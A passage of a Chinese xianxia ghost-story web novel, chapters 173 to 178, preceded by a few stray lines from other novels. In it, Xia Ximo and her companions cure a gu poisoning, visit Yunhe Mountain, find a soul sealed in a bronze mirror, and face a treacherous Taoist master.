随之,是另一处大族,此族名为元老族,这一族有一处宝池,池水漫长岁月才能够汇聚,投以无数种元宝熬炼而成,此地坐拥一位永恒级的不朽者。
在伏羲界内,许辰与诸多伏羲氏的血脉大口咳血,显然是受到莫名力量的冲击。
原本,横亘在球队发展上有两个问题:一个是教练,一个是资金。就这么突然间,一次性的全解决了?
不过那时候的她依旧没有多想,毕竟她和俊彦是队友,除了晚上睡觉以外,其他时间都能在一起。
“花师弟,阵法学徒和阵法师可不是一个意思。”此时万年悲身边的夏侯适开口了,因为他也是阵法师。
喷溅到两侧高墙上的血迹,哪怕是在如此昏暗的光线下,也依旧让人看得心惊。
讲到这里的时候,吕布神情严肃的看向曹操,眸中更是闪烁出精芒,虽说算计曹操、孙坚不好,但就依照着当前的局势来看,若无曹操、孙坚在旁相助,想要真正扛下维护汉室边疆稳定的大旗,这并非是件容易的事情。
第173章 解蛊
任风玦连唤了两声不见回应,心下也隐隐着急。
他手上的力道不敢松,脚下却忍不住朝夏熙墨的方向靠近了几步。
四周太黑了,什么也看不清。
所幸,他还记得她的大致方位,且两人的距离并不算远。
忽然之间,轻轻碰到了她,连忙止住脚步。
“夏姑娘!”
黑暗中,他都能清楚听见自己的声音溢着喜悦。
可她依然没有应他,而是立在原地一动不动。
任风玦发觉不对劲,只得伸手轻轻触碰了一下她。
然而,下一秒,那躯体便不着力地跌入了他的怀中。
阵法中,颜正初魂魄目睹眼前一切,愣在原地,不知所措。
天问的元神,就这样在他的眼皮子底下,化成了灰。
反应过来时,他腿脚一软,直接跌在地上。
红衣女子转过头,看了他一眼,是熟悉的感觉。
颜正初立即认出来了。
“那晚…你到我房中来,是真的!我当时并不是在做梦。”
他激动得有些语无伦次,下意识问了一句:“你到底是谁啊?”
话刚问完,又立即后悔了,连忙捂住嘴。
他怕自己知道得太多,会被灭口。
红衣女子当然没有回他,只是走到他面前来,还是那倨傲的眼神,居高临下望着他,并反问了一句:“出去后,知道什么话该说,什么话不该说吧?”
颜正初眨了眨眼睛,点头如捣蒜:“知道知道,小侯爷跟前,我绝对不会乱说!”
怕她不满意,又补充了一句:“任何人跟前,我都不会乱说的!”
红衣女子满意点头,也不多言,微微俯身,伸手一把揪着他的衣襟…
颜道长吓得心弦紧绷,但下一秒,整个魂体陡然一轻,便被扔出了阵法之外。
“……”
山洞内,又渐渐有了光亮。
像是雾霾散去,顶上的微光,又能透了进来。
颜正初猛然恢复意识,映入眼帘的,竟是一只已经僵化的尸虫,吓得他一激灵,竟又抖落了满身尸虫。
“!”
望着脚下尸虫堆积如山,颜道长连忙在原地跳了跳脚,心下却是一阵恶寒。
随即,他感受到墨斗线的另一端,还握在任风玦手里,正打算提醒收线。
一眼望去,却又顿住。
任风玦一手紧握墨斗线,另一手正揽着怀中的夏熙墨。
夏熙墨引魂出窍后,还未醒过来。
任大人不知内情,听见颜正初的动静,便立即唤道:“道长,你看看夏姑娘…”
“……”
想到刚在阵法中所看到的情形,颜正初心下还隐隐有些发怵。
他勉为其难看了一眼,说道:“小侯爷不必担心,夏姑娘吉人天相,阎王爷都…”
话还没说完,夏熙墨便睁开了眼睛。
颜道长讪讪住口,直接将墨斗线从任风玦手中收回来,转头去看李成和葛川的情况。
所幸,二人只是被吓晕了过去,并没有被尸虫伤到。
颜道长略微松了口气,再望向一旁天问的躯体,心情却有些复杂。
元神灭了,这躯体也就成了尸体,并且,还迅速衰老了下去。
原本看起来不过才三十左右,转眼间,就成了白发苍苍的七旬老者。
“天问师伯,你为了这身皮囊,做了那么多恶事,到头来,还不是尘归尘,土归土?”
他叹了口气,心下竟有几分唏嘘。
夏熙墨醒来后,发现自己躺在任风玦怀中,也是微愣了一下。
见她醒来,他眸中的关切之意,立即转为欣喜。
“你醒了…”
“嗯。”
夏熙墨本想要起身,却发现手脚竟用不上力,不由得一阵疑惑。
无忧在渡魂灯内向她解释道:“你现在可是凡人之躯,哪容得魂魄随意进进出出,还能毫无影响?”
“况且,还耗用了那么多魂力,至少得休养一下,才能慢慢恢复。”
听了无忧的话,夏熙墨轻皱眉头。
任风玦观察着她的一举一动,连忙问:“还好吗?”
她索性坦然说道:“动不了。”
任风玦立即会意,直接就将她拦腰抱了起来。
夏熙墨感受着他身上熟悉的气息,竟莫名一阵心安,因身体困乏,便直接将头靠在他肩旁。
任大人的手,却不由得一紧。
——
云间客栈内,阿夏端来一碗黑乎乎的汤汁,走到余琅身旁。
因余少卿执意不肯回客房休息,众人便任由他在这店堂桌上,趴了一天一夜。
颜正初手拿一只小罐,跟在后面,看了一眼余琅的面色,就知道不能再拖。
“把他叫醒,直接灌药。”
阿夏不敢迟疑,上前推了推
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昏睡的余琅:“余公子,快醒醒!”
推了几下,余琅竟是一点也不答应,根本没有要醒来的迹象。
颜正初无奈摇头,示意道:“还是直接把他袖子捋开。”
衣袖拉开后,竟是一大块触目惊心的伤口,不仅有腐烂趋势,还隐隐散发出臭味。
颜正初皱眉:“难怪叫不醒,伤口都要烂了。”
又吩咐阿夏:“你按住他,一会儿他要是挣扎,你可万万不能松手。”
“是。”
颜正初从罐中取出黑灰,当机立断,直接撒在了余琅的伤口上。
昏睡中的余琅,立即爆发出一声痛苦的惊叫,差点要跳起来。
阿夏没想到他反应会如此之大,手上加了力道。
余琅疼得龇牙咧嘴,总算清醒了过来。
他见自己的手臂伤口正冒着黑烟,可吓得不轻。
“道长,我这手是怎么了?好痛啊!”
颜正初也看得直抽冷气,却正色道:“等你体内蛊毒全都逼出来,就不痛了。”
接着,又将那碗黑乎乎的汤汁凑到他嘴边,“来,喝下去。”
“……”
余琅只瞥一眼,就十分排斥:“这又是什么东西?”
“解药,快喝。”
听是解药,余琅才硬着头皮凑过去,可才嗅了一下,就又不行了。
“还是让我**吧…”
他欲哭无泪,心下更是一阵绝望:“这到底是什么臭东西做的?”
负责熬药的阿夏立即一脸为难。
“余公子,我劝你还是不必知晓…”
“……”
余琅又看了颜正初一眼,后者则意味不明地冲他点了一下头。
“还是趁热喝吧,冷了更难入口。”
无可奈何之下,余少卿只得强忍着恶心,将那黑漆漆的汤汁一口灌了进去。
片刻后,他只觉得胃里一阵翻江倒海,便开始吐个不停。
也不知过了多久,伤口倒是不痛了,耳目也清晰了,就是整个人有点轻飘飘的。
像是要升天…
余琅犹不甘心,抓着阿夏又问了一遍:“你还是告诉我,那到底是什么?让我瞑目…”
阿夏有些心虚,吞吞吐吐了半天:“给你涂抹伤口的,是…那蛊王的尸灰…”
“喝下去的,是…尸灰混合符水,熬制而成的…汤。”
余琅两眼一翻,差点没背过去。
第174章 上山
一日后,曾家豆腐铺内,两具尸体被官府从中抬了出来。
四周邻居不知内情,皆站在门口处议论纷纷。
“卖豆腐家的夫妇,是怎么死的?”
“不知道,听说都成了干尸,一身的血,都让放干了…”
“啊?查出是谁做的吗?”
“不清楚,听起来怪瘆人的…”
“说来也怪,你们最近,可有谁见过巧姑娘?”
“不曾见过。”
“确实已有好些时日,没见过了,该不会也…”
“别瞎说,巧姑娘那么好的姑娘,可别咒她有事?应该是有事出远门了吧。”
“也是。”
……
随着官府和人群散去,铺前又逐渐恢复了冷清。
微风吹过,一道身影缓步走到铺前,伸手推门,却只将铺门轻轻推开一条缝隙。
门开后,尘灰飞扬,可见铺面已经有些日子,无人打扫了。
夏熙墨驻足掩鼻,清冷的目光四下一掠,便将渡魂灯托在手掌心处。
“该走了。”
话音落下,平地阴风起,便有两道影子,在室内现了身。
是曾家双生姐妹的鬼魂。
她们希望,在离开尘世之前,再回一次“家”。
此时,心愿已了,再无遗憾。
“多谢姑娘成全。”
姐妹俩相携着手,朝着夏熙墨深深一拜,跟着飞入了灯内。
望着手中一点光晕消散,夏熙墨倒在原地怔了一会儿。
片刻后,她收了灯,又看了铺子一眼,并轻轻阖上房门,转身离去。
不远处的路口上,任风玦正在路边候着她。
“事情…解决了吗?”
“嗯。”
“颜道长已经在山下路口等着我们了,现在过去吧。”
“嗯。”
夏熙墨依然惜字如金地回应着,任风玦也丝毫不在意。
然而,一起并肩走了几步后,她忽然顿足,打量了他一眼。
原来此时的任大人,不知何时竟换了一件剪裁适身的玄青色袍子,愈发衬得肩宽腰窄,身形挺拔,谡谡如风。
察觉到她的目光,他也顿足,问道:“怎么?”
夏熙墨却什么也没说,缓缓收回目光后,莫名加快了脚步。
由于余琅中蛊毒后,身体还没完全恢复,这一趟上山,颜正初尽量选了最平稳的路。
因此,一直从日中走到了日落,才抵达云鹤山上。
山门处,一群少年正望眼欲穿。
在见到颜正初那刻,又立即喜出望外。
“师兄回来了!”
“太好了,师兄回来了!”
随着有人高喊了几声,少年们立即迎上前来,争先恐后,帮忙拿东西。
颜正初身携重物,爬得满头大汗,见到师弟们,又立即展开笑容。
并向他们一一介绍同行的朋友。
任风玦作为主客,也没有空手而来,他早在山下就备了一些御寒被褥以及过冬粮食,让人提前送了上来。
如今见面后,又吩咐阿夏将兑换的碎银,分发给众人。
颜正初看在眼里,自然感激不已,连连道了几声谢。
任风玦望着山上一草一木,心下却很是感慨。
“不过是替我小叔,做了一些分内之事,何须你来谢我?”
眼见天色渐渐暗了下来。
颜正初便直接将众人领到了云鹤山大堂。
而这时,负责膳食的师弟已经备好饭菜,端上来招待客人。
余琅早已饥肠辘辘,一听开饭,可算来了精神,却见摆在面前的,竟是一大盆清炒萝卜,一大盆清炒白菜。
唯一的荤菜,是一盆炒鸡,色泽看起来倒是很有食欲…
正要下筷时,却见旁边几个年纪稍小些的少年,正瞪着一双双无辜的眼睛,都盯着那盆鸡肉挪不开。
余少卿多少有些于心不忍,便将那盆炒鸡直接端到了他们面前,转头夹了一筷子青菜。
而这时,掌勺师弟又端上来了一盆黑漆漆的烤地瓜,与一盆酱拌菜。
他们这些京城来的高门子弟,对此,自然是一阵稀奇。
颜正初笑着介绍:“这两样东西啊,你们在上京肯定吃不到,一定要尝尝。”
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>说着,徒手拿了一个烤地瓜给余琅,“余公子饿了,先尝。”
余琅原本还有些嫌弃,待剥开外皮之后,露出里面金黄香甜的地瓜肉,竟忍不住咽了咽口水。
任风玦见他吃了一口,似乎回味无穷,便也亲手剥开一个,却递给了旁边的夏熙墨。
“夏姑娘尝尝。”
夏熙墨依然面色淡淡,但还是顺手接了过来。
这一举动,当然没能逃过旁边三人的眼睛。
颜正初轻咳一声,忍着笑意,故意向阿夏问道:“可需要我帮你也剥一个?”
阿夏憋着笑意,忙不迭自己拿了一个,“不必不必,我自己来。”
这顿晚膳,虽算不得丰盛,但也让众人吃得津津有味。
饭后,颜正初又给众人安排住处。
只是,因为云鹤山内能住人的房屋不多,条件也有限,便只给唯一的女子——夏熙墨单独安排了一间。
颜正初则领着任风玦、余琅及阿夏,来到了自己的房间。
余琅看了一眼,再次咂舌。
虽说里面有两张床,但十分狭窄,就算睡一个人,也不易翻身,真要挤两个,实在勉强。
颜正初颇为不好意思地挠了挠头,说道:“以前都是两个师弟一起挤着睡,冬天也暖和…”
余琅没有跟人挤着睡觉的习惯,想说些什么,却欲言又止。
阿夏倒是十分懂事:“两位公子,夜里各睡一张床便是了,倒不必挤着。”
颜正初则道:“山上不比山下,夜里特别冷,你不睡床的话,要是冻坏了也麻烦。”
“……”
几个大男人顿时面面相觑。
任风玦却笑了笑,“无碍,夜里你们先睡,我还要面见天机真人,还不知道什么时候。”
来时,天机真人正在房中打坐。
守门弟子说,师父需要运气调息一个小周天后,才能结束见客。至少,也得夜里亥时过后。
任风玦向来守礼,就算心里焦急,也得遵守规矩。
而就在这时,有弟子前来敲门,声称天机真人,已静坐结束。
第175章 梦魇
夏熙墨被安排在一间单独的院落里,距离主院,需要走上一大段路程。
房间应该是临时收拾出来的,进去后,还能在地上看出先前堆放物品的痕迹。
虽南北窗户都在开着通风,却驱不散长久以来,堆积而出的陈旧气息。
颜正初将夏熙墨领进房间后,便一直小心翼翼观察对方的神色,生怕她不满意。
好在这位姐,平日只是不讲礼数和规矩。
于吃穿用度上,倒还算得上是好脾气。
“云鹤山能住人的院子实在不多,加上山上几乎从未有过女客,师弟们便将这间存放过旧物的院子收拾了一下…”
颜正初硬着头皮解释,又客气道:“夏姑娘,就委屈你在此将就一晚了。”
夏熙墨面上依然看不出什么情绪,只是淡应了一声。
“嗯。”
“热水我已经让师弟打好了,你还需要什么,也可以现在跟在我说…”
“没有。”
“那我就不打扰你休息了。”
颜正初几乎逃也似的出门而去。
他走后,灯魂无忧终于得以出来透气。
“这云鹤山上,真不愧是修道的好地方,灵气充沛啊。”
“墨骨你有没有觉得,上山后身体都轻盈了不少?”
“这山间灵气能压制你魂魄自带的九幽煞气,你多吸一吸,还是有好处的。”
它在室内悠闲晃荡一圈,见对方没理它,便又自顾自飘到室外去了。
自魂体融合之后,夏熙墨身体的感知能力,已越来越好,自然也就越发能感受到疲累。
她走到床边,见被褥都是簇新的,倒未沾到这房中的陈年旧味。
当即略作洗漱,解衣而眠。
但这一睡下去,却并不安稳。
朦胧之间,依稀听见一道声音在唤她。
“墨骨…”
喊并不是夏熙墨,而是墨骨。
她睁开沉重的眼皮,发现自己仍在房中,渡魂灯还在一旁,但已不见无忧的身影。
这时,窗户轻轻抖动了一下,她循声望去,只见窗边一道黑影,一闪而逝。
“墨骨,好久不见…”
阴沉的声音,在四下里回荡,忽远忽近,还伴随着冷笑…
夏熙墨起身下床,身体除了沉重感之外,还有了束缚感。
心里也开始涌起不安与慌乱。
她拖着沉重的步伐打开房门,只见一轮满月悬挂天际,照得山影重重,无比压抑。
“墨骨…”
不知从何而来的声音,还在不远不近唤着她。
夏熙墨心下焦躁,不由自主,循着那道声音而去。
出了院子,夜色苍茫,整个云鹤山的屋宇,都像隐在雾色之中,已看不真切。
唯有那道诡异的黑影,十分突兀。
“墨骨,这百年间,你可有悔?”
声音忽然问话了。
夏熙墨脚步不停,冷然问:“你是谁?”
黑影却始终与她隔着一段距离。
“看来,你是真的什么都不记得了…”
声音轻轻叹着,又化作邪狞一笑,接着,黑影也消散在雾色之中,
夏熙墨正要去追,周景开始破碎,脚下也陡然一空…
“墨骨!”
猛然睁开眼睛时,她发现自己还躺在床上,身上却起了一层汗意。
浮荡半空中的无忧,见她醒来,这才松了口气。
“你可算醒了,你刚刚怎么了?叫都叫不醒!”
她一向睡得很浅。
这种情况,还是第一次发生。
夏熙墨坐起身来,身体依然沉重,而想到刚刚的梦境,心下更是一阵异样。
不对劲。
这云鹤山内不太对劲。
见她面色不对,无忧又在她跟前来回晃了晃。
“你到底怎么了?有没有在听我讲话?”
夏熙墨怔了片刻,才恢复如常,总算应了它:“喊我有事?”
无忧虽心存疑惑,但还是先以正事为主。
“我在这间院子里,感受到了枉死之魂的气息…”
“你说怪不怪?云鹤山这种地方,怎么可能会有枉死之魂?”
这话也算是证实了夏熙墨心中的猜测。
她不会无缘无故做这样的梦。
山上果然有问题。
“带我去。”
——
天机真人的修行兼住所名为玄机堂,位于云鹤山最高处的
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一座小山峰上。
任风玦跟在颜正初身后,走过了一条长长的山梯后,才看到一间袇房。
梯口处,一名年轻道士正在恭候,见了颜正初后,先上前尊了一声师兄。
才道:“师父请你们,直接进去。”
奇怪的是,颜正初对这位师弟的态度,客气中明显带着疏远,并不像其他那些,那样亲近。
他面上笑意清浅,客气了一句,多的闲话也没说。
待走远了一些,他倒是向任风玦解释了一句。
“这位师弟,是师父捡回来的,性子有些孤僻,又常年跟在师父身侧,与我们并不熟络。”
任风玦当然看出来了,也不多问。
走进玄机堂,只见一名白发道人仍闭目盘腿坐在堂中,看起来却是仙风道骨,气质不凡。
颜正初恭恭敬敬上前深深一拜,“师父。”
任风玦也跟着行了一礼,喊道:“见过天机真人。”
闻声,天机道人才慢慢睁开眼睛,虽须发已白,但一双明眸,却炯亮有神。
他先是打量了任风玦一眼,才向颜正初问道:“你天问师伯之事,可处理妥当了?”
对于此事,颜正初多少有些心虚,只斟酌回道:“师伯元神已灭,尸身已按照师父的吩咐,火化成灰。”
说着,便将装骨灰的坛子,轻轻放在了师父跟前。
天机道人望着坛子点了点头,面上神情更看不出悲喜。
颜正初见师父没有多问,立即跪在地上,开始坦白下山寻珠后所发生的林林总总。
连带着赋楼密室,以及兖山恶鬼之事,全部当场说了出来。
因为紧张,他声音颤抖,不敢抬头看,但还是如实交代了自己所犯下的错事。
“徒儿此次下山,没有遵从师父嘱咐,擅自去了一趟仁宣侯府,愿意领罚。”
“但仁宣侯已将当年发生在府上之事,悉数告知…”
“令徒儿意想不到的是,小师叔竟成活死人,在侯府内躺了十五年。”
“师父,您一直不让徒儿过问此事,徒儿不敢多问。”
“但师叔是个好人,您若有办法救他,可否指一条明路?”
第176章 镜子
一番话说完,颜正初背后冷汗涔涔,双手都是颤抖的。
天机道人却迟迟没有作出回应。
任风玦亦为之感到紧张,心念百转,正思索着要如何开口询问时,却听到一声叹息。
“你便是我师弟当年要救的孩子吧?”
天机道人没有回颜正初,而是将目光停留在他身上,继而问道:“你将满二十一,比正初要小两岁,是仁宣侯独子,也是我师弟的亲侄子,对不对?”
闻言,任风玦与他对视一眼,连忙恭敬回道:“是。”
天机道人点了一下头,忽又向他招手:“你近前来,伸手过来。”
虽不知何意,任风玦还是照做了。
只见天机道人提了提衣袖,露出右手的中指与无名指,轻轻搭在他腕骨上。
闭目片刻,似在号脉。
颜正初见状,则紧盯着师父面上神情,忽然向任风玦颔首示意了一下。
少顷,天机道人才松开手,说道:“你父亲应该已经告诉过你,你生来便少一魄。”
“七魄不全,命格有异,易招恶鬼,所以,才会有你儿时所发生的那些事情。”
颜正初忍不住插了一句:“师父,可他现在明明是纯阳之体啊。”
天机道人点头:“是。”
“那是因为,任曜师弟为了救他,擅用禁术,将自己变成了活死人,才换来这百邪不侵的纯阳之体。”
任风玦虽早知小叔是为了救自己才变成这样。
但这番话,还是令他浑身僵冷,心下更不知作何滋味。
颜正初则趁机问道:“究竟是什么禁术?师父可有办法破解?”
天机道人似有不忍,迟疑了一下,才说道:“这禁术,实际上是‘以命抵命’,一旦用了,他们二人之中,便只能活一个。”
颜正初心下一凉,却执着不愿相信。
他摇了摇头:“可师叔的躯体,分明有活着的迹象啊,若是死了,魂魄为何不见了踪迹?”
“师父,我相信你必有办法,这其中一定有其他原因,对不对?”
天机道人又陷入了沉默。
他微闭双目,思索片刻,似是做了妥协:“其实,你想见你师叔的魂魄,也不是没有办法。”
这话让颜正初与任风玦皆眸光一亮,又是紧张,又是期待。
天机道人则慢慢站起身来,又轻叹了口气。
他在二人跟前,来回走了几步,这才回身说道:“人死不能复生,就算见了,也是阴阳两隔,徒劳一场,你们改变不了什么。”
任风玦心里也明白,可就算这个办法行不通,他也不愿错失任何一点机会。
颜正初则与他相视了一眼,也算互相通了心意。
任风玦道:“真人,若我小叔死了,他的躯体应该入土为安,魂魄也该去往轮回,而不该是如今这般,不明不白,不清不楚。”
颜正初亦跟着说道:“师父,只要有一丝希望,我都愿意一试。”
面对二人如此坚定的目光,天机道人再次喟叹一声,最终点了点头。
“既如此,你们便随我来吧。”
——
夏熙墨所处的院子,一共有三间房。
除了她住的那间之外,另外两间,通通已上了锁。
无忧将她带到其中一间房门前,说道:“那鬼魂的气息,便是从此处传来的…”
透着门隙间,向内望去,只见里面杂物堆积如山。
确实如颜正初所言,是用来存放旧物的地方。
无忧说着,便直接从缝隙之间飘了进去,又用魂力开了门锁。
房门敞开后,只见一丝淡淡的阴气,在室内萦绕着,却并没有立即发现阴魂的踪迹。
而房内旧物应该已经存放许久,因不见阳光,空气中除了呛鼻的灰尘之外,还有浓郁的霉味。
夏熙墨进屋后立即皱眉,用手赶了赶灰尘后,开始四下里找寻。
可那缕阴气实在太淡,他们一人一魂,在室内找了好一会儿,竟没有头绪。
因气味太重,夏熙墨忍不住推开一扇窗。
也就是在这时,一点月光透过窗户照了进来。
无忧立即发现,角落地上,静静躺着一面菱花铜镜。
它吃
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了一惊:“墨骨,阴气好像是从那面镜子里散发出来的…”
夏熙墨走上前细看,果见一丝阴气,正覆盖在镜面上,透着诡异。
无忧又疑惑道:“那小道士不是说,这山上从未有过女客吗?可这镜子分明就是女子之物啊。”
个中因由,虽一时无法理清,但可以肯定的是——
“这山上一定有问题!”
夏熙墨不语,俯身将镜子拾起,而那一丝阴气仿佛受到了惊吓,开始往镜子里钻。
接着,晦暗不明的镜面上,竟慢慢倒映出一抹朦胧的身影。
似乎是个女子。
无忧绕着镜子,仔细琢磨了一下,才道:“若我没猜错的话,应该是魂魄被封进镜子里了。”
“嗯。”
无忧立即打抱不平:“一定是这山上的道士做了什么亏心事!不然怎么将人家女子的魂魄封进了镜子里!”
夏熙墨没接话,它又暗自分析了一通,接着问道:“墨骨,你说谁最可疑呢?会不会是煮饭的那个胖道士?”
“这里除了颜正初之外,就他年纪稍微大一点。”
“总不能是姓颜的那个道士吧?可他看起来…”
夏熙墨瞥了它一眼,总算出了声:“有什么可猜的?直接进去看看,就知道了。”
“…啊?”
无忧尚未从中反应过来,夏熙墨竟已直接引出魂魄,转眼没入了镜中。
还真是…一点都不拖泥带水。
“你这身体还没完全恢复呢,又来!”
无忧也是无奈了,见状只能尾随其后,跟着钻了进去。
杂乱的房间内,再次恢复了静谧之色。
然而,没过多久,门外竟传来一阵脚步声。
跟着,一道身影出现在门前,停顿片刻,又步入房中。
只见他缓步走到夏熙墨身旁,忽然从袖中拿出一道黄符,直接打在了她额前。
接着,又从她手中夺过菱花镜,将一道黑符,贴在了镜面上。
做完一切,他唇畔浮起一抹得意的诡笑,这才轻手轻脚转身离开房间,并重新锁上了房门。
第177章 反目
玄机堂后的密室,是云鹤山掌门的闭关修炼之所。
目前,除了掌门天机之外,也就只有大弟子颜正初才能打开此门。
此时,走在前面的天机道人打开石门后,却止住了脚步。
“正初。”
他唤了一声,随即却说了一句令人意想不到的话:“你负责在外面守着。”
这话让颜正初微微一愣,心下一阵怪异,忙道:“师父,不是要让我见师叔的魂魄吗?”
天机道人微微摇头,解释道:“你与任曜师弟并无血亲,就算进去了,也见不着他的魂魄。”
“只有任家这位公子才可以。”
颜正初心下一阵失落,还想再说些什么话争取一下时,却见师父抬手示意了一下。
这也表示,事情并无商量余地。
颜道长向来惧怕师父威严,只好乖乖垂首,不敢多嘴。
任风玦却还是顾及到颜正初的感受,主动问:“颜道长可有话需要我带到?”
听了这话,颜道长差点鼻子一酸。
为了避免自己在师父跟前煽情落泪,他连忙挥了挥手:“你想问的,便是我想问的。”
任风玦了然点头,便随着天机道人入了密室。
厚重的石门合上那刻,颜正初心里却好似有蚂蚁在爬,难受得很。
纠结了好一会儿,他还是忍不住用了一道隐身符,并偷偷打开石门,跟了进去。
正所谓做贼心虚,进入密室后的颜道长,一颗心都要跳到嗓子眼来。
但想到小师叔待自己恩重如山,就算不能亲眼一见,他也得知道事情的经过才行。
因害怕师父察觉,他也不敢靠得太近,仗着熟悉地形,藏在一只鼎后,悄悄观察着室内的情形。
此时,只见任风玦盘腿坐在密室中间,关闭着双眼。
天机道人在他身旁摆出了铜钱阵。
阵中插着阴阳烛,一根红线系在任风玦小指处,另一头则在天机手中。
颜正初瞪大眼睛,却看得暗自称奇。
这套阵法,师父并未教过他。
但他清楚知道,铜钱阵能锁阴魂,阴阳烛则是为了招魂,至于红线,却是阴阳互通的关键。
看似为招魂阵,却又过于繁琐。
总觉得不太对劲…
难道,是因为师叔的魂魄非同一般?
颜正初蹙眉思索了片刻,又见师父走到任风玦面前,以一根银针刺破他的尾指指腹,又将指尖血,滴在了阴阳烛上,并捏了一道法诀。
然而,就在这时,却出现了令他头皮发麻的一幕。
师父竟取出一道黑符,直接贴在任风玦额前。
一瞬间,颜正初只觉得脑子轰隆了一声。
黑符…
师父怎么会用黑符呢?
明明他曾亲口说过——黑符请的是邪神,只有心术不正的术士,才会用到黑符。
可现在,他竟用上了…
颜正初脑袋嗡嗡,思绪一片混乱。
惊愕、怀疑、不解…
各种情绪涌上了心头。
他将后背抵在鼎上,双手攥紧成拳,不知该如何接受这一切,心里更是难以平静。
接着,他又看见一道身影,走进了密室。
竟是自己的师弟白鹤。
颜正初胸口又是一阵翻涌——他为什么也能开石门?
不对!
这不对!
只见白鹤走到师父身旁,附耳说了一句什么。
天机微微颔首,便示意他退下了。
颜正初望着阵法之中的任风玦,只见他双眉紧蹙,额角开始涔出冷汗。
天机冷冷望着他,将红绳缠在自己的左右两根食指上,指腹相抵,低声念咒。
密室内开始起风…
阴阳烛灯火扑朔,铜钱阵内,也发出泠泠声响。
跟着,任风玦忽然俯身,吐出了一口鲜血。
血溅阵法,阴风大作。
见此一幕,颜正初终于忍无可忍,当即祭出玉剑,暴喝了一声,向着阵法中飞去。
天机明明听见了他的声音,却面不改色,不疾不徐松开一只手,朝着他的方向推出一掌。
三道飞符齐发,直接将半空中的颜正初,打了回去。
又只听见“砰”地一声响,他整个身体撞在鼎上,一阵头晕眼花。
“师父…”
颜正初
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摔落在地,隐身符也失去了效果。
他强撑着站起身来,难以置信地望着天机:“师父,您究竟在做什么?”
天机回眸冷冷扫了他一眼,面上不见往日的庄肃与威严,眼底更没有半分仁慈之色。
“别喊我师父!”
他冷斥道:“我说的话,你又什么时候听过?”
颜正初张了张口,想要解释。
那边的任风玦,竟再次吐出了一口鲜血。
见此情形,颜正初基本能够确定,这阵法绝对不单单是招魂那么简单。
而极大可能,会对任风玦不利!
他虽不知师父为什么要这么做,但他知道,这种情况,自己绝对不能坐视不理。
既如此…
“师父!休怪徒儿忤逆了!”
颜正初猜测,破阵的关键,肯定是那根红线,他需要做的,就是越过师父,斩断那根红线。
天机道人也早就料到他会阻拦,见他靠近,又再次打出三道飞符,想要将他击退。
颜正初知道飞符威力非同小可,自己若是再被击中,下一次,还不知能不能再爬起来。
他天资算不得聪慧,却好在这些年来,愿意勤修苦练,且有韧性,于身法上,倒是灵巧敏捷。
飞符正面袭来,他不硬接,而是腾身翻转,巧妙躲闪。
避开之后,他算着力道,毫不犹豫向阵法中弹射出一枚铜钱…
眼见就能击中红线时,却被一只玉剑打落。
颜正初诧然一惊,正待补发一击时,后背却传来剧痛,也不知是被什么符咒打中,整个人栽在地上,四肢立即动弹不得。
他骇然一惊,却见一道身影缓缓从身后走来,竟是假装离去的师弟白鹤。
白鹤却正眼不瞧他,走到天机跟前,恭敬行了一礼。
“请师父安心做法,我会负责看好颜师兄的。”
颜正初气得想骂人,却发现舌头竟也麻痹,根本无法出声。
他只能眼睁睁看着天机道人,再次将红线缠在两根食指处,持续念咒。
片刻后,任风玦猛然吐出第三口血,身体终于支撑不住,倒在了地上。
第178章 镜魂
“墨骨…”
“这镜中幻境,怎么看着跟外面一模一样?”
“就是…一个白天,一个黑夜。”
尾随夏熙墨身后钻入镜中,无忧很快就发现,这镜内世界,根本就是另一个云鹤山。
近处的屋舍布局,远处的山林峰影,全都没有变。
唯一不同的是,镜外还是黑夜。
而镜中的天,已经亮了。
夏熙墨虚眯着眼睛,四下细细打量了一番。
周遭没有人影,安静得能听见脉脉风声与清脆鸟鸣。
更没有冬日萧瑟之景,旁边,甚至还有一树桃花,开得正艳。
“走吧,四下找找。”
夏熙墨吩咐了一句,便与无忧一起,开始寻找镜中鬼魂的踪迹。
但走了很长一段路,去了好几座院落,竟不见一丝鬼影。
最终,无忧指着旁边最高处的一座建筑。
“好像就差那里没去过了,听颜道士说,那里好像是他师父的袇房。”
“上去。”
夏熙墨二话不说,直接顺着长阶而上。
来到峰上后,果然看到了一处袇房。
而房内,依稀能看见一道影子,正在里面忙碌着什么。
是个女子。
袇房本为道士清修之所,此时却出现女子身影,多少透着些古怪。
而随着她与无忧靠近,室内之人,似乎也发现了他们,当即一愣。
接着,她手忙脚乱合上窗户,又急匆匆要来关门。
显然…是想阻止他们踏入。
夏熙墨却直接用手抵住那扇门,一双乌沉沉的眼睛,将她上下打量。
“急什么?这么不欢迎我?”
女子莫名哆嗦了一下,看了看她,又看了看她肩上的无忧,却怯生生问道:“你们…是什么人?”
“和你一样,不是人。”
“……”
夏熙墨手上轻轻用力,又将房门推开了寸余,态度强硬。
女子知道自己挡不住,索性直接将房门打开,冷冷说道:“这里…并不是你们该来的地方。”
听了这话,无忧眼珠子一转,立即问道:“这么说来,你知道自己身处在什么地方?”
“我…”
女子欲言又止,忽咬住下唇,面色又寒了几分:“与你并无关系!”
无忧有些不高兴了:“枉我刚刚还在为你打抱不平呢,原来,这一切竟是你心甘情愿?”
它又感到不解:“可你明明是枉死之魂啊,又怎么会心甘情愿被困在这里?”
听到“枉死之魂”四字,女子脸色剧变。
她眼中忽闪过一丝惘然之色,身体微微颤抖着,又不由自主后退了几步,喃喃说了一句。
“我…是枉死的?”
语气之中,显然也有怀疑。
闻言,无忧也是立即明白了过来,向夏熙墨低声道:“她应该是不记得了。”
鬼魂忘记死时记忆,无外乎两种可能。
其一,如琼影客栈老板娘黄玉琼那样,自主不愿想起。
其二,便是外在干涉,如红袖楼内的如烟,受养魂珠内煞气干扰所致。
这女子身上,明显还有着枉死之魂的气息,可见并非第一种。
夏熙墨直接推开房门,四下看了看,问她:“住在这袇房的道士,叫什么?”
“你与他,又是什么关系?”
“你既然知晓,自己已经成了鬼,又为何甘愿被困在这镜子里?”
三个问题,又将面前的女子问得愣住。
她嗫嚅着唇,似乎并不知该如何作答。
也是在这时,门外传来一道声音:“桃溪,我回来了,快看看我给你带了什么?”
闻声,名为桃溪的女子浑身一震,立即飞奔至门外。
夏熙墨也跟着望了出去,看到的,却是一名年轻道士。
他一身道服,外形也颇为俊美,手拿一枝桃花,笑得满面春风。
桃溪跑到男子跟前,怯懦地抓着他的衣袖,说道:“清晏,有人进来了…”
说罢,用手指向室内。
这名为清晏的道士,皱着眉头朝袇房内看了一眼,却道:“别自己吓自己,此间只有你跟我,绝对不会有人进来打扰我们的。”
他说着,郎笑一声,拉着桃溪的手,就朝室内走去。
